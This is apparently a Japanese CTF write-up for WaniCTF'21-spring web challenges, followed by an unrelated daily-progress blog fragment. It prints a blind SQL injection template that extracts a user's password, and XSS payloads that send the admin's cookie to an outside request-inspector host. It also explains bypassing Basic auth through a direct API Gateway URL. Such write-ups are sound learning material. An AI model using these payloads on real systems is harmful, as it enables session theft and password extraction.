WaniCTF'21-spring write-up

Webとpwnだけ少しだけ解けました。

意味わからん時間に起床したので、write-upをメモとして残しておきます。

はてなブログの使い方を一切忘れてしまって、Markdownで書けませんでした。

ソースコードとかいい感じにやる方法がわからなかったので、分かり次第きれいにします。

目次

 

Web

fake(Beginner, 136pt)

偽物を見破れますか?

urlを開くと大量のLinkボタンが表示されます。

ブラウザ上でCtrl+Uなどしてソースを見ると一つだけaタグがありました。

そこに飛んで終了。

 

Wani Request 1(Easy, 148pt)

RequestBinを使ってみよう!!

この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。

自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。

サーバが用意出来たらいよいよ本番です。

問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。

送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。

あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。

あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。

HINT1 : HTTP ヘッダー
HINT2 : xss問題ではありません。

 

URLを投稿することができ、そのURLにアクセスしてくれるようです。素直にRequestbinを使って、URLを送信したところ、Requestbinにあどみんちゃんからアクセスが来ていました。Refererを見ると、元いたページのURLがわかるかも知れません。RefererのURLをブラウザで開くと終了。

 

exception(Easy, 186pt)

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。

ソースコードが配られています。ソースコードを見ると、例外を起こすことでflagを見られるようです。nameは文字列連結されていたので、数値として送って見たら例外が発生しました。

{"name":1}を送ると終了。

 

watch animal(Very hard, 219pt)

スーパーかわいい動物が見れるWebサービスを作ったよ。

wanictf21spring@gmail.com

のメアドの人のパスワードがフラグです。

ソースコードを見るに、SQLiっぽいです。ここ。

SELECT * FROM users WHERE email = ' . $email . ' AND password = ' . $password . '

単順なSQLi(' OR 'A'='A)を行っても、ログインできるがパスワードがわかりません。

Blind-SQLiを試してみます。

emailにはとりあえずwanictf21spring@gmail.comを使っておくことにしました。

副問合せとかsubstringとかよくわからなかったのでググっていい感じにしました。

"A' OR substring((SELECT password FROM users WHERE email='wanictf21spring@gmail.com'), {}, 1) = '{}' -- ".format(num, string)

numには何文字目かを指定するようにして、stringはASCII範囲内の文字を動かしていくようにしました。

もっときれいに書けそう。とりあえず終了。

 

Wani Request 2(Normal, 250pt)

 XSS Challenge !!

チャレンジは二つです。

あどみんちゃんのクッキーを手に入れてください。

Wani Request 1 と同じくRequestBinなどを利用してみましょう。

 これソースコードの存在に今気づいたので、見なくても解けそうです。

ロゴ的にVueが使われてるんやろなぁぐらい。

page1とpage2があり、共にXSS問題な模様。

page1ではwani=に指定した文字を表示するようなので、ここにJSを書けば良さそうです。

僕がチャレンジした時間、requestbinに繋がらない状態だったので

requestbin 代わり

で検索したら出てきたRequest Inspectorを使いました。

おそらくcookieを取ればいいので、

<img src="X" onerror="location.href=`https://requestinspector.com/inspect/01f4p9q1maywear85cjkwjbega?q=${document.cookie}`;";/>

を投げると終了。

 

page2

こちらはURLを入力し、入力したURLのリンクをクリックしてくれるようです。

page1と同じ方針で適当に、

javascript:location.href=`https://requestinspector.com/inspect/01f4p9q1maywear85cjkwjbega?q=${document.cookie}`

を投げると終了。

 

CloudFront Basic Auth(Hard, 282pt)

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。

重要なエンドポイントにはBasic認証をつけてみました。

ヒント: 上のURLにアクセスするとexceptionと同じ見た目のWebアプリが表示されますが、添付されているzipファイルにはexceptionの添付ファイルから新しいファイルが追加されています。添付ファイルを参考にもう一つのFLAGを発見してください!

これは時間内には解けませんでした。全部Apexが悪い。

CTFの期間が終了した瞬間に解けてるチームメイトに教えてもらいました。

教えをメモとして残します。チームサイコー。

exceptionの問題と同じように例外を発生させると、エラーログが見れますが、そこでAPI GateWayのURLがわかるという。

Cloudfront経由で見るとBasic認証がありますが、直接見に行けば問題ないということでした。

Host情報を見ると、***.execute-api.us-east-1.amazonaws.comとありました。

このURLに/Prod/adminを付けてアクセスすると、flagが表示されました。

 

AWS苦手すぎた。僕解けて。

pwn書く元気がありませんでした。さようなら。

マイニチ進捗−3−

今日の進捗

  • ラズパイで簡単なメールサーバーを構築
  • TAMUCTF2019のpwn問を解いた

TAMUCTF2019のpwn問解いた

pwn1, pwn3, pwn4, pwn5をやりました

pwn4,5はWeb脳でやったので、ちゃんとpwnしたい

forensicsの問題あんまりやったこと無いので、forensicsのwrite-up全部読まないといけない